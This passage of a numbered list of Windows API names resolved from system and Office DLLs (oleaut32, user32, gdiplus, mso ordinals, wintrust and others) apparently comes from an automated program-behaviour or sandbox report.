  2960. "vbeui.dll._MsoFSetHMsoinstOfSdm@4",
  2961. "vbeui.dll._MsoSetVbaInterfaces@8",
  2962. "vbeui.dll._MsoGetControlInstanceId@8",
  2963. "oleaut32.dll.SysFreeString",
  2964. "oleaut32.dll.LoadTypeLib",
  2965. "oleaut32.dll.RegisterTypeLib",
  2966. "oleaut32.dll.QueryPathOfRegTypeLib",
  2967. "oleaut32.dll.UnRegisterTypeLib",
  2968. "oleaut32.dll.OleTranslateColor",
  2969. "oleaut32.dll.OleCreateFontIndirect",
  2970. "oleaut32.dll.OleCreatePictureIndirect",
  2971. "oleaut32.dll.OleLoadPicture",
  2972. "oleaut32.dll.OleCreatePropertyFrameIndirect",
  2973. "oleaut32.dll.OleCreatePropertyFrame",
  2974. "oleaut32.dll.OleIconToCursor",
  2975. "oleaut32.dll.LoadTypeLibEx",
  2976. "oleaut32.dll.OleLoadPictureEx",
  2977. "oleaut32.dll.DispCallFunc",
  2978. "oleaut32.dll.CreateTypeLib2",
  2979. "oleaut32.dll.VarDateFromUdate",
  2980. "oleaut32.dll.VarUdateFromDate",
  2981. "oleaut32.dll.GetAltMonthNames",
  2982. "oleaut32.dll.VarNumFromParseNum",
  2983. "oleaut32.dll.VarParseNumFromStr",
  2984. "oleaut32.dll.VarDecFromR4",
  2985. "oleaut32.dll.VarDecFromR8",
  2986. "oleaut32.dll.VarDecFromDate",
  2987. "oleaut32.dll.VarDecFromI4",
  2988. "oleaut32.dll.VarDecFromCy",
  2989. "oleaut32.dll.VarR4FromDec",
  2990. "oleaut32.dll.GetRecordInfoFromTypeInfo",
  2991. "oleaut32.dll.GetRecordInfoFromGuids",
  2992. "oleaut32.dll.SafeArrayGetRecordInfo",
  2993. "oleaut32.dll.SafeArraySetRecordInfo",
  2994. "oleaut32.dll.SafeArrayGetIID",
  2995. "oleaut32.dll.SafeArraySetIID",
  2996. "oleaut32.dll.SafeArrayCopyData",
  2997. "oleaut32.dll.SafeArrayAllocDescriptorEx",
  2998. "oleaut32.dll.SafeArrayCreateEx",
  2999. "oleaut32.dll.VarFormat",
  3000. "oleaut32.dll.VarFormatDateTime",
  3001. "oleaut32.dll.VarFormatNumber",
  3002. "oleaut32.dll.VarFormatPercent",
  3003. "oleaut32.dll.VarFormatCurrency",
  3004. "oleaut32.dll.VarWeekdayName",
  3005. "oleaut32.dll.VarMonthName",
  3006. "oleaut32.dll.VarAdd",
  3007. "oleaut32.dll.VarAnd",
  3008. "oleaut32.dll.VarCat",
  3009. "oleaut32.dll.VarDiv",
  3010. "oleaut32.dll.VarEqv",
  3011. "oleaut32.dll.VarIdiv",
  3012. "oleaut32.dll.VarImp",
  3013. "oleaut32.dll.VarMod",
  3014. "oleaut32.dll.VarMul",
  3015. "oleaut32.dll.VarOr",
  3016. "oleaut32.dll.VarPow",
  3017. "oleaut32.dll.VarSub",
  3018. "oleaut32.dll.VarXor",
  3019. "oleaut32.dll.VarAbs",
  3020. "oleaut32.dll.VarFix",
  3021. "oleaut32.dll.VarInt",
  3022. "oleaut32.dll.VarNeg",
  3023. "oleaut32.dll.VarNot",
  3024. "oleaut32.dll.VarRound",
  3025. "oleaut32.dll.VarCmp",
  3026. "oleaut32.dll.VarDecAdd",
  3027. "oleaut32.dll.VarDecCmp",
  3028. "oleaut32.dll.VarBstrCat",
  3029. "oleaut32.dll.VarCyMulI4",
  3030. "oleaut32.dll.VarBstrCmp",
  3031. "ole32.dll.CoCreateInstanceEx",
  3032. "ole32.dll.CLSIDFromProgIDEx",
  3033. "mso.dll.#5772",
  3034. "mso.dll.#9885",
  3035. "mso.dll.#4262",
  3036. "mso.dll.#8499",
  3037. "mso.dll.#5512",
  3038. "advapi32.dll.RegEnumKeyW",
  3039. "sxs.dll.SxsOleAut32MapConfiguredClsidToReferenceClsid",
  3040. "mso.dll.#4909",
  3041. "mso.dll.#615",
  3042. "user32.dll.IsWindow",
  3043. "user32.dll.RedrawWindow",
  3044. "mso.dll.#8200",
  3045. "mso.dll.#382",
  3046. "mso.dll.#2025",
  3047. "shlwapi.dll.StrStrIW",
  3048. "winhttp.dll.WinHttpTimeFromSystemTime",
  3049. "advapi32.dll.RegDeleteTreeW",
  3050. "xmllite.dll.CreateXmlReader",
  3051. "cryptnet.dll.I_CryptNetGetConnectivity",
  3052. "cryptnet.dll.CryptRetrieveObjectByUrlW",
  3053. "setupapi.dll.SetupIterateCabinetW",
  3054. "kernel32.dll.RegOpenKeyExW",
  3055. "kernel32.dll.RegCloseKey",
  3056. "cabinet.dll.#20",
  3057. "cabinet.dll.#22",
  3058. "devrtl.dll.DevRtlGetThreadLogToken",
  3059. "cryptsp.dll.CryptSetHashParam",
  3060. "sechost.dll.QueryServiceConfigA",
  3061. "sechost.dll.QueryServiceStatus",
  3062. "rpcrt4.dll.RpcStringBindingComposeA",
  3063. "rpcrt4.dll.RpcBindingFromStringBindingA",
  3064. "rpcrt4.dll.RpcEpResolveBinding",
  3065. "sechost.dll.LookupAccountSidLocalW",
  3066. "rpcrt4.dll.RpcStringFreeA",
  3067. "oleaut32.dll.RegisterTypeLibForUser",
  3068. "mso.dll.#1256",
  3069. "comctl32.dll.ImageList_Destroy",
  3070. "comctl32.dll.ImageList_GetIconSize",
  3071. "comctl32.dll.InitCommonControls",
  3072. "comctl32.dll.ImageList_LoadImageA",
  3073. "comctl32.dll.ImageList_SetOverlayImage",
  3074. "comctl32.dll.ImageList_AddMasked",
  3075. "comctl32.dll.ImageList_GetImageInfo",
  3076. "comctl32.dll.ImageList_Draw",
  3077. "comctl32.dll.ImageList_DrawEx",
  3078. "comctl32.dll.PropertySheetA",
  3079. "comctl32.dll.DestroyPropertySheetPage",
  3080. "comctl32.dll.CreatePropertySheetPageA",
  3081. "user32.dll.GetSysColor",
  3082. "user32.dll.SystemParametersInfoA",
  3083. "user32.dll.GetDC",
  3084. "user32.dll.ReleaseDC",
  3085. "user32.dll.LoadCursorA",
  3086. "user32.dll.RegisterClipboardFormatA",
  3087. "user32.dll.RegisterWindowMessageA",
  3088. "kernel32.dll.QueryActCtxW",
  3089. "kernel32.dll.ActivateActCtx",
  3090. "kernel32.dll.FindActCtxSectionStringW",
  3091. "kernel32.dll.DeactivateActCtx",
  3092. "user32.dll.RegisterClassA",
  3093. "comctl32.dll.RegisterClassNameW",
  3094. "uxtheme.dll.OpenThemeData",
  3095. "uxtheme.dll.GetThemeColor",
  3096. "uxtheme.dll.IsThemePartDefined",
  3097. "uxtheme.dll.GetThemeBool",
  3098. "uxtheme.dll.GetThemeFont",
  3099. "comctl32.dll.HIMAGELIST_QueryInterface",
  3100. "comctl32.dll.DrawShadowText",
  3101. "comctl32.dll.DrawSizeBox",
  3102. "comctl32.dll.DrawScrollBar",
  3103. "comctl32.dll.SizeBoxHwnd",
  3104. "comctl32.dll.ScrollBar_MouseMove",
  3105. "comctl32.dll.ScrollBar_Menu",
  3106. "comctl32.dll.HandleScrollCmd",
  3107. "comctl32.dll.DetachScrollBars",
  3108. "comctl32.dll.AttachScrollBars",
  3109. "comctl32.dll.CCSetScrollInfo",
  3110. "comctl32.dll.CCGetScrollInfo",
  3111. "comctl32.dll.CCEnableScrollBar",
  3112. "comctl32.dll.QuerySystemGestureStatus",
  3113. "uxtheme.dll.#49",
  3114. "mso.dll.#656",
  3115. "user32.dll.GetFocus",
  3116. "webservices.dll.WsResetHeap",
  3117. "webservices.dll.WsCloseServiceProxy",
  3118. "ws2_32.dll.#3",
  3119. "ncrypt.dll.SslDecrementProviderReferenceCount",
  3120. "ncrypt.dll.SslFreeObject",
  3121. "webservices.dll.WsFreeServiceProxy",
  3122. "mso.dll.#7640",
  3123. "user32.dll.GetScrollRange",
  3124. "uxtheme.dll.GetThemeMargins",
  3125. "uxtheme.dll.GetThemeInt",
  3126. "uxtheme.dll.SetWindowTheme",
  3127. "uxtheme.dll.CloseThemeData",
  3128. "imm32.dll.ImmAssociateContext",
  3129. "uxtheme.dll.EnableThemeDialogTexture",
  3130. "gdi32.dll.GdiIsMetaPrintDC",
  3131. "imm32.dll.ImmIsIME",
  3132. "uxtheme.dll.GetThemeTextMetrics",
  3133. "uxtheme.dll.GetThemeTextExtent",
  3134. "uxtheme.dll.GetThemeBackgroundExtent",
  3135. "user32.dll.EqualRect",
  3136. "user32.dll.GetActiveWindow",
  3137. "user32.dll.SetRect",
  3138. "user32.dll.CreateWindowExA",
  3139. "user32.dll.DefWindowProcA",
  3140. "user32.dll.SetWindowLongA",
  3141. "user32.dll.GetWindowLongA",
  3142. "user32.dll.IsWindowUnicode",
  3143. "user32.dll.SetWindowTextA",
  3144. "user32.dll.IsWindowVisible",
  3145. "user32.dll.GetParent",
  3146. "user32.dll.IsIconic",
  3147. "user32.dll.IsRectEmpty",
  3148. "user32.dll.NotifyWinEvent",
  3149. "user32.dll.UpdateWindow",
  3150. "user32.dll.ShowWindow",
  3151. "user32.dll.LoadAcceleratorsW",
  3152. "riched20.dll.CreateTextServices",
  3153. "user32.dll.RegisterClipboardFormatW",
  3154. "user32.dll.GetDoubleClickTime",
  3155. "user32.dll.SetCaretBlinkTime",
  3156. "user32.dll.SystemParametersInfoW",
  3157. "user32.dll.GetKeyboardLayoutList",
  3158. "mso.dll._MsoGetFidUspDll@0",
  3159. "mso.dll._MsoLoadLocalizedLibraryEx@12",
  3160. "usp10.dll.ScriptGetProperties",
  3161. "usp10.dll.ScriptItemize",
  3162. "user32.dll.LoadCursorW",
  3163. "user32.dll.GetKeyboardLayout",
  3164. "ole32.dll.CoCreateInstance",
  3165. "usp10.dll.ScriptGetCMap",
  3166. "user32.dll.SetWindowLongW",
  3167. "user32.dll.GetWindowLongW",
  3168. "user32.dll.PostMessageW",
  3169. "user32.dll.InvalidateRect",
  3170. "usp10.dll.ScriptShape",
  3171. "user32.dll.LoadBitmapW",
  3172. "user32.dll.GetUpdateRect",
  3173. "user32.dll.DestroyWindow",
  3174. "vbe7.dll.#715",
  3175. "mso.dll.#8735",
  3176. "user32.dll.EnableWindow",
  3177. "user32.dll.GetCapture",
  3178. "dwmapi.dll.DwmIsCompositionEnabled",
  3179. "user32.dll.GetForegroundWindow",
  3180. "user32.dll.GetClassNameA",
  3181. "user32.dll.IsWindowRedirectedForPrint",
  3182. "gdi32.dll.CreateRectRgnIndirect",
  3183. "user32.dll.GetUpdateRgn",
  3184. "gdi32.dll.GetRgnBox",
  3185. "user32.dll.ValidateRect",
  3186. "user32.dll.BeginPaint",
  3187. "user32.dll.EndPaint",
  3188. "mso.dll.#3624",
  3189. "mso.dll.#5070",
  3190. "gdi32.dll.GetCurrentObject",
  3191. "gdiplus.dll.GdipCreatePath",
  3192. "gdiplus.dll.GdipStartPathFigure",
  3193. "gdiplus.dll.GdipAddPathLine2",
  3194. "gdiplus.dll.GdipClosePathFigure",
  3195. "gdiplus.dll.GdipClonePath",
  3196. "gdiplus.dll.GdipCreateMatrix2",
  3197. "gdiplus.dll.GdipTransformPath",
  3198. "gdiplus.dll.GdipDeleteMatrix",
  3199. "gdiplus.dll.GdipAddPathPolygon",
  3200. "gdiplus.dll.GdipGetPathWorldBounds",
  3201. "gdiplus.dll.GdipCreatePen1",
  3202. "gdiplus.dll.GdipSetPenLineCap197819",
  3203. "gdiplus.dll.GdipSetPenLineJoin",
  3204. "gdiplus.dll.GdipSetPenMiterLimit",
  3205. "gdiplus.dll.GdipCreatePathIter",
  3206. "gdiplus.dll.GdipPathIterRewind",
  3207. "gdiplus.dll.GdipPathIterNextSubpath",
  3208. "gdiplus.dll.GdipPathIterCopyData",
  3209. "gdiplus.dll.GdipDeletePathIter",
  3210. "gdiplus.dll.GdipAddPathLine",
  3211. "gdiplus.dll.GdipClonePen",
  3212. "gdiplus.dll.GdipSetPenStartCap",
  3213. "gdiplus.dll.GdipSetPenEndCap",
  3214. "gdiplus.dll.GdipDeletePen",
  3215. "gdiplus.dll.GdipCreateFromHDC",
  3216. "gdiplus.dll.GdipSetPixelOffsetMode",
  3217. "gdiplus.dll.GdipSetSmoothingMode",
  3218. "gdiplus.dll.GdipSetCompositingQuality",
  3219. "gdiplus.dll.GdipSetPageUnit",
  3220. "gdiplus.dll.GdipSetInterpolationMode",
  3221. "gdiplus.dll.GdipGetSmoothingMode",
  3222. "gdiplus.dll.GdipTransformPoints",
  3223. "gdiplus.dll.GdipCreateBitmapFromGraphics",
  3224. "gdiplus.dll.GdipGetImageGraphicsContext",
  3225. "gdiplus.dll.GdipTranslateWorldTransform",
  3226. "gdiplus.dll.GdipCreateImageAttributes",
  3227. "gdiplus.dll.GdipSetImageAttributesWrapMode",
  3228. "gdiplus.dll.GdipGetImageType",
  3229. "gdiplus.dll.GdipGetImageBounds",
  3230. "gdiplus.dll.GdipDrawImagePointsRect",
  3231. "oleaut32.dll.#12",
  3232. "oleaut32.dll.#8",
  3233. "oleaut32.dll.#10",
  3234. "mscms.dll.OpenColorProfileA",
  3235. "mscms.dll.OpenColorProfileW",
  3236. "mscms.dll.CreateMultiProfileTransform",
  3237. "mscms.dll.TranslateBitmapBits",
  3238. "mscms.dll.CloseColorProfile",
  3239. "mscms.dll.DeleteColorTransform",
  3240. "mscms.dll.GetStandardColorSpaceProfileW",
  3241. "mscms.dll.GetColorProfileFromHandle",
  3242. "icm32.dll.CMGetInfo",
  3243. "icm32.dll.CMCreateTransformExtW",
  3244. "icm32.dll.CMDeleteTransform",
  3245. "icm32.dll.CMTranslateRGBsExt",
  3246. "icm32.dll.CMCheckRGBs",
  3247. "icm32.dll.CMCreateMultiProfileTransform",
  3248. "icm32.dll.CMTranslateColors",
  3249. "icm32.dll.CMCheckColors",
  3250. "icm32.dll.CMCreateProfileW",
  3251. "icm32.dll.CMGetNamedProfileInfo",
  3252. "icm32.dll.CMConvertColorNameToIndex",
  3253. "icm32.dll.CMConvertIndexToColorName",
  3254. "icm32.dll.CMCreateDeviceLinkProfile",
  3255. "icm32.dll.CMIsProfileValid",
  3256. "gdiplus.dll.GdipDisposeImageAttributes",
  3257. "gdiplus.dll.GdipDeleteGraphics",
  3258. "gdiplus.dll.GdipCreateCachedBitmap",
  3259. "gdiplus.dll.GdipDrawCachedBitmap",
  3260. "mso.dll.#6899",
  3261. "mso.dll.#6247",
  3262. "msptls.dll.?LsPointXYFromPointUV@Ptls6@@YGJPBUtagLSPOINT@1@KPBUtagLSPOINTUV@1@PAU21@@Z",
  3263. "msptls.dll.?LsDisplayLine@Ptls6@@YGJPAVCLsLine@1@PBUtagLSPOINT@1@IPBUtagLSRECT@1@@Z",
  3264. "gdi32.dll.TranslateCharsetInfo",
  3265. "gdi32.dll.GetFontData",
  3266. "mso.dll.#3300",
  3267. "mso.dll.#7465",
  3268. "gdi32.dll.GetClipRgn",
  3269. "gdi32.dll.SelectClipRgn",
  3270. "gdi32.dll.CreateCompatibleBitmap",
  3271. "gdi32.dll.SetWindowOrgEx",
  3272. "gdi32.dll.BitBlt",
  3273. "dwrite.dll.DWriteCreateFactory",
  3274. "gdi32.dll.GetClipBox",
  3275. "gdi32.dll.StretchDIBits",
  3276. "riched20.dll.REExtendedRegisterClass",
  3277. "user32.dll.DefWindowProcW",
  3278. "uxtheme.dll.IsThemeActive",
  3279. "uxtheme.dll.IsAppThemed",
  3280. "user32.dll.HideCaret",
  3281. "user32.dll.ShowCaret",
  3282. "user32.dll.GetWindowTextLengthW",
  3283. "msctf.dll.SetInputScope",
  3284. "user32.dll.GetWindowRgn",
  3285. "gdi32.dll.SaveDC",
  3286. "gdi32.dll.SetPixel",
  3287. "gdi32.dll.GetPixel",
  3288. "gdi32.dll.RestoreDC",
  3289. "uxtheme.dll.DrawThemeBackground",
  3290. "user32.dll.ClientToScreen",
  3291. "user32.dll.SetFocus",
  3292. "mso.dll.#8140",
  3293. "ole32.dll.CoGetCallState",
  3294. "ole32.dll.CoGetActivationState",
  3295. "advapi32.dll.RegisterWaitChainCOMCallback",
  3296. "mso.dll.#3913",
  3297. "user32.dll.PeekMessageA",
  3298. "mso.dll.#1380",
  3299. "mso.dll.#9500",
  3300. "user32.dll.TranslateMessage",
  3301. "user32.dll.DispatchMessageA",
  3302. "user32.dll.DispatchMessageW",
  3303. "user32.dll.RegisterPowerSettingNotification",
  3304. "powrprof.dll.PowerSettingRegisterNotification",
  3305. "user32.dll.GetWindowThreadProcessId",
  3306. "user32.dll.GetWindowTextW",
  3307. "vbe7.dll.#546",
  3308. "vbe7.dll.#539",
  3309. "vbe7.dll.#660",
  3310. "vbe7.dll.#712",
  3311. "vbe7.dll.#600",
  3312. "kernel32.dll.GetCalendarInfoW",
  3313. "oleaut32.dll.SysAllocStringLen",
  3314. "mso.dll.#791",
  3315. "mso.dll.#1848",
  3316. "mso.dll.#9374",
  3317. "mso.dll.#5286",
  3318. "mso.dll.#6368",
  3319. "mso.dll.#1010",
  3320. "mso.dll.#7979",
  3321. "mso.dll.#8549",
  3322. "mso.dll.#2863",
  3323. "mso.dll.#8970",
  3324. "mso.dll.#9198",
  3325. "mso.dll.#4795",
  3326. "mso.dll.#1865",
  3327. "mso.dll.#9688",
  3328. "mso.dll.#320",
  3329. "advapi32.dll.RegDeleteKeyA",
  3330. "user32.dll.DestroyCursor",
  3331. "mso.dll.#7173",
  3332. "mso.dll.#8511",
  3333. "mso.dll.#3299",
  3334. "mso.dll.#7001",
  3335. "mso.dll.#434",
  3336. "user32.dll.GetMessageExtraInfo",
  3337. "user32.dll.TrackMouseEvent",
  3338. "mso.dll.#8662",
  3339. "mso.dll.#1575",
  3340. "mso.dll.#5034",
  3341. "mso.dll.#1517",
  3342. "mso.dll.#718",
  3343. "mso.dll.#4708",
  3344. "mso.dll.#4175",
  3345. "mso.dll.#8672",
  3346. "mso.dll.#1990",
  3347. "mso.dll.#3051",
  3348. "mso.dll.#1819",
  3349. "mso.dll.#1419",
  3350. "oleaut32.dll.#147",
  3351. "mso.dll.#806",
  3352. "mso.dll.#4908",
  3353. "mso.dll.#8439",
  3354. "mso.dll.#2736",
  3355. "gdi32.dll.GetTextAlign",
  3356. "gdi32.dll.ExtTextOutW",
  3357. "mso.dll.#8122",
  3358. "mso.dll.#2114",
  3359. "mso.dll.#6558",
  3360. "usp10.dll.ScriptItemizeOpenType",
  3361. "usp10.dll.ScriptShapeOpenType",
  3362. "usp10.dll.ScriptPlaceOpenType",
  3363. "mso.dll.#8395",
  3364. "mso.dll.#379",
  3365. "mso.dll.#6338",
  3366. "mso.dll.#7964",
  3367. "mso.dll.#1437",
  3368. "mso.dll.#1427",
  3369. "mso.dll.#6137",
  3370. "winmm.dll.timeGetTime",
  3371. "mso.dll.#5940",
  3372. "usp10.dll.ScriptPlace",
  3373. "usp10.dll.ScriptJustify",
  3374. "usp10.dll.ScriptTextOut",
  3375. "usp10.dll.ScriptCPtoX",
  3376. "usp10.dll.ScriptXtoCP",
  3377. "usp10.dll.ScriptFreeCache",
  3378. "usp10.dll.ScriptCacheGetHeight",
  3379. "usp10.dll.ScriptLayout",
  3380. "usp10.dll.ScriptBreak",
  3381. "usp10.dll.ScriptIsComplex",
  3382. "usp10.dll.ScriptGetLogicalWidths",
  3383. "usp10.dll.ScriptApplyLogicalWidth",
  3384. "usp10.dll.ScriptGetGlyphABCWidth",
  3385. "usp10.dll.ScriptGetFontProperties",
  3386. "usp10.dll.ScriptApplyDigitSubstitution",
  3387. "usp10.dll.ScriptRecordDigitSubstitution",
  3388. "usp10.dll.ScriptGetFontAlternateGlyphs",
  3389. "mso.dll.#7578",
  3390. "mso.dll.#8483",
  3391. "mso.dll.#2613",
  3392. "mso.dll.#7848",
  3393. "mso.dll.#999",
  3394. "mso.dll.#287",
  3395. "mso.dll.#732",
  3396. "mso.dll.#5804",
  3397. "mso.dll.#2155",
  3398. "mso.dll.#9465",
  3399. "mso.dll.#4746",
  3400. "mso.dll.#424",
  3401. "gdiplus.dll.GdipGetPenWidth",
  3402. "gdiplus.dll.GdipIsOutlineVisiblePathPointI",
  3403. "user32.dll.GetInputState",
  3404. "mso.dll.#6960",
  3405. "mso.dll.#8705",
  3406. "mso.dll.#7892",
  3407. "msi.dll.#39",
  3408. "mso.dll.#7931",
  3409. "mso.dll.#3837",
  3410. "mso.dll.#8574",
  3411. "mso.dll.#8398",
  3412. "mso.dll.#2477",
  3413. "msproof7.dll.DllGetClassObject",
  3414. "msproof7.dll.DllCanUnloadNow",
  3415. "mso.dll.#4172",
  3416. "mso.dll.#1439",
  3417. "user32.dll.GetClassNameW",
  3418. "mso.dll.#1541",
  3419. "mso.dll.#8461",
  3420. "user32.dll.GetClipboardOwner",
  3421. "user32.dll.SendNotifyMessageW",
  3422. "user32.dll.GetAncestor",
  3423. "mso.dll.#3544",
  3424. "mso.dll.#900",
  3425. "mso.dll.#1422",
  3426. "user32.dll.MsgWaitForMultipleObjectsEx",
  3427. "advapi32.dll.NotifyServiceStatusChangeW",
  3428. "mso.dll.#1885",
  3429. "msptls.dll.?LsEnumLine@Ptls6@@YGJPAVCLsLine@1@HHPBUtagLSPOINT@1@@Z",
  3430. "mso.dll.#832",
  3431. "user32.dll.GetScrollPos",
  3432. "mso.dll.#629",
  3433. "user32.dll.WindowFromPoint",
  3434. "user32.dll.IsClipboardFormatAvailable",
  3435. "user32.dll.GetCursorInfo",
  3436. "user32.dll.GetWindowDC",
  3437. "gdi32.dll.SetLayout",
  3438. "gdi32.dll.RectVisible",
  3439. "gdi32.dll.ExcludeClipRect",
  3440. "user32.dll.GetMessagePos",
  3441. "user32.dll.ScreenToClient",
  3442. "user32.dll.GetDesktopWindow",
  3443. "user32.dll.FindWindowExW",
  3444. "advapi32.dll.CryptAcquireContextA",
  3445. "advapi32.dll.CryptGenKey",
  3446. "cryptsp.dll.CryptGenKey",
  3447. "advapi32.dll.CryptImportKey",
  3448. "cryptsp.dll.CryptImportKey",
  3449. "advapi32.dll.CryptExportKey",
  3450. "cryptsp.dll.CryptExportKey",
  3451. "advapi32.dll.CryptDestroyKey",
  3452. "advapi32.dll.CryptCreateHash",
  3453. "advapi32.dll.CryptSetHashParam",
  3454. "advapi32.dll.CryptHashData",
  3455. "advapi32.dll.CryptGetHashParam",
  3456. "cryptsp.dll.CryptGetHashParam",
  3457. "advapi32.dll.CryptDestroyHash",
  3458. "msi.dll.#90",
  3459. "mso.dll.#8837",
  3460. "advapi32.dll.ConvertSidToStringSidW",
  3461. "msi.dll.DllGetVersion",
  3462. "mso.dll.#1455",
  3463. "user32.dll.LoadImageW",
  3464. "user32.dll.CreateWindowExW",
  3465. "user32.dll.EnableScrollBar",
  3466. "user32.dll.ShowScrollBar",
  3467. "user32.dll.SetParent",
  3468. "user32.dll.KillTimer",
  3469. "user32.dll.MoveWindow",
  3470. "gdi32.dll.GetViewportExtEx",
  3471. "gdi32.dll.GetWindowExtEx",
  3472. "gdi32.dll.GetTextCharset",
  3473. "gdi32.dll.GetMapMode",
  3474. "gdi32.dll.GetLayout",
  3475. "oleaut32.dll.SysAllocString",
  3476. "oleaut32.dll.SysStringLen",
  3477. "uxtheme.dll.GetThemePartSize",
  3478. "user32.dll.GetMessageW",
  3479. "gdi32.dll.IntersectClipRect",
  3480. "gdi32.dll.SetTextColor",
  3481. "gdi32.dll.SetBkMode",
  3482. "gdi32.dll.SetTextAlign",
  3483. "gdi32.dll.ExtSelectClipRgn",
  3484. "gdi32.dll.GetTextColor",
  3485. "user32.dll.WaitMessage",
  3486. "wininet.dll.InternetGetConnectedState",
  3487. "rasapi32.dll.RasConnectionNotificationW",
  3488. "sechost.dll.NotifyServiceStatusChangeA",
  3489. "gdi32.dll.GdiFlush",
  3490. "cryptsp.dll.CryptAcquireContextW",
  3491. "osppcext.dll.SLActivateProduct",
  3492. "osppcext.dll.SLGetTokenActivationGrants",
  3493. "osppcext.dll.SLGetTokenActivationCertificates",
  3494. "osppcext.dll.SLGenerateTokenActivationChallenge",
  3495. "osppcext.dll.SLSignTokenActivationChallenge",
  3496. "osppcext.dll.SLDepositTokenActivationResponse",
  3497. "osppcext.dll.SLFreeTokenActivationGrants",
  3498. "osppcext.dll.SLFreeTokenActivationCertificates",
  3499. "msptls.dll.?LsPointUV2FromPointUV1@Ptls6@@YGJKPBUtagLSPOINTUV@1@0KPAU21@@Z",
  3500. "msptls.dll.?LsQueryLinePointPcp@Ptls6@@YGJPAVCLsLine@1@PBUtagLSPOINTUV@1@JPAUlsqsubinfo@1@PAJPAUlstextcell@1@@Z",
  3501. "mso.dll.#2666",
  3502. "mso.dll.#5787",
  3503. "gdi32.dll.GetTextExtentExPointWPri",
  3504. "mso.dll.#3702",
  3505. "mso.dll.#3484",
  3506. "mso.dll.#1966",
  3507. "mso.dll.#9566",
  3508. "mso.dll.#111",
  3509. "mso.dll.#4191",
  3510. "mso.dll.#3802",
  3511. "mso.dll.#6982",
  3512. "mso.dll.#8800",
  3513. "mso.dll.#3572",
  3514. "mso.dll.#167",
  3515. "mso.dll.#5737",
  3516. "mso.dll.#590",
  3517. "mso.dll.#3758",
  3518. "kernel32.dll.FlsAlloc",
  3519. "kernel32.dll.FlsGetValue",
  3520. "kernel32.dll.FlsSetValue",
  3521. "kernel32.dll.FlsFree",
  3522. "msgr3en.dll.CheckVersion",
  3523. "msgr3en.dll.#29",
  3524. "msgr3en.dll.#30",
  3525. "msgr3en.dll.#31",
  3526. "msgr3en.dll.#32",
  3527. "msgr3en.dll.#33",
  3528. "msgr3en.dll.#34",
  3529. "msgr3en.dll.#35",
  3530. "msgr3en.dll.#45",
  3531. "msgr3en.dll.#46",
  3532. "msgr3en.dll.#47",
  3533. "msgr3en.dll.#48",
  3534. "msgr3en.dll.#51",
  3535. "msgr3en.dll.#50",
  3536. "msgr3en.dll.#49",
  3537. "msgr3en.dll.#43",
  3538. "msgr3en.dll.#41",
  3539. "msgr3en.dll.#42",
  3540. "msgr3en.dll.#44",
  3541. "msgr3en.dll.#39",
  3542. "msgr3en.dll.#40",
  3543. "msgr3en.dll.#36",
  3544. "msgr3en.dll.#38",
  3545. "msgr3en.dll.#37",
  3546. "msgr3en.dll.#56",
  3547. "msgr3en.dll.#52",
  3548. "msgr3en.dll.#53",
  3549. "msgr3en.dll.#57",
  3550. "msgr3en.dll.#58",
  3551. "msgr3en.dll.#59",
  3552. "user32.dll.LoadStringA",
  3553. "mso.dll.#2561",
  3554. "mso.dll.#1566",
  3555. "advapi32.dll.CryptReleaseContext",
  3556. "cryptsp.dll.CryptReleaseContext",
  3557. "ieawsdc.dll.HrExtractTemplateToPath",
  3558. "crypt32.dll.CryptQueryObject",
  3559. "wintrust.dll.CryptSIPPutSignedDataMsg",
  3560. "wintrust.dll.CryptSIPGetSignedDataMsg",
  3561. "cryptsp.dll.CryptGetDefaultProviderW",
  3562. "crypt32.dll.CertEnumCertificatesInStore",
  3563. "crypt32.dll.CryptVerifyCertificateSignatureEx",
  3564. "wintrust.dll.WinVerifyTrust",
  3565. "wintrust.dll.WintrustCertificateTrust",
  3566. "wintrust.dll.SoftpubAuthenticode",
  3567. "wintrust.dll.SoftpubInitialize",
  3568. "wintrust.dll.SoftpubLoadMessage",
  3569. "wintrust.dll.SoftpubLoadSignature",
  3570. "wintrust.dll.SoftpubCheckCert",
  3571. "wintrust.dll.SoftpubCleanup",
  3572. "wintrust.dll.CryptSIPVerifyIndirectData",
  3573. "advapi32.dll.SaferiSearchMatchingHashRules",
  3574. "wintrust.dll.WTHelperProvDataFromStateData",
  3575. "wintrust.dll.WTHelperGetProvSignerFromChain",
  3576. "crypt32.dll.CertCloseStore",
  3577. "user32.dll.IsHungAppWindow",
  3578. "mso.dll.#4702",
  3579. "cabinet.dll.#23",
  3580. "mso.dll.#1923",
  3581. "mso.dll.#3784",
  3582. "mso.dll.#4317",
  3583. "mso.dll.#1266",
  3584. "gdi32.dll.GetStockObject",
  3585. "mso.dll.#6501",
  3586. "riched20.dll.REMSOHInst",
  3587. "mso.dll.#511",
  3588. "mso.dll.#8118",
  3589. "gdi32.dll.GetGlyphIndicesW",
  3590. "mso.dll.#8060",
  3591. "mso.dll.#844",
  3592. "mso.dll.#7531",
  3593. "user32.dll.EnumThreadWindows",
  3594. "user32.dll.EnumWindows",
  3595. "user32.dll.PostMessageA",
  3596. "user32.dll.SetCursor",
  3597. "mso.dll.#6420",
  3598. "mso.dll.#1414",
  3599. "mso.dll.#8202",
  3600. "mso.dll.#7189",
  3601. "mso.dll.#2738",
  3602. "mso.dll.#8691",
  3603. "mso.dll.#6079",
  3604. "mso.dll.#7163",
  3605. "mso.dll.#333",
  3606. "mso.dll.#1785",
  3607. "mso.dll.#5919",
  3608. "mso.dll.#2088",
  3609. "mso.dll.#1283",
  3610. "mso.dll.#5274",
  3611. "mso.dll.#3195",
  3612. "user32.dll.RemovePropW",
  3613. "mso.dll.#5973",
  3614. "mso.dll.#2014",
  3615. "mso.dll.#9668",
  3616. "mso.dll.#8472",
  3617. "mso.dll.#2294",
  3618. "mso.dll.#2968",
  3619. "mso.dll.#1961",
  3620. "mso.dll.#2281",
  3621. "mso.dll.#2628",
  3622. "mso.dll.#1401",
  3623. "mso.dll.#9114",
  3624. "mso.dll.#5291",
  3625. "mso.dll.#1718",
  3626. "mso.dll.#4777",
  3627. "mso.dll.#1914",
  3628. "advapi32.dll.RegDeleteKeyW",
  3629. "mso.dll.#235",
  3630. "mso.dll.#4416",
  3631. "mso.dll.#9398",
  3632. "mso.dll.#1442",
  3633. "mso.dll.#4388",
  3634. "mso.dll.#8022",
  3635. "mso.dll.#8757",
  3636. "mso.dll.#237",
  3637. "mso.dll.#4214",
  3638. "mso.dll.#884",
  3639. "mso.dll.#121",
  3640. "mso.dll.#1712",
  3641. "mso.dll.#9344",
  3642. "mso.dll.#4203",
  3643. "mso.dll.#3974",
  3644. "mso.dll.#4882",
  3645. "mso.dll.#2449",
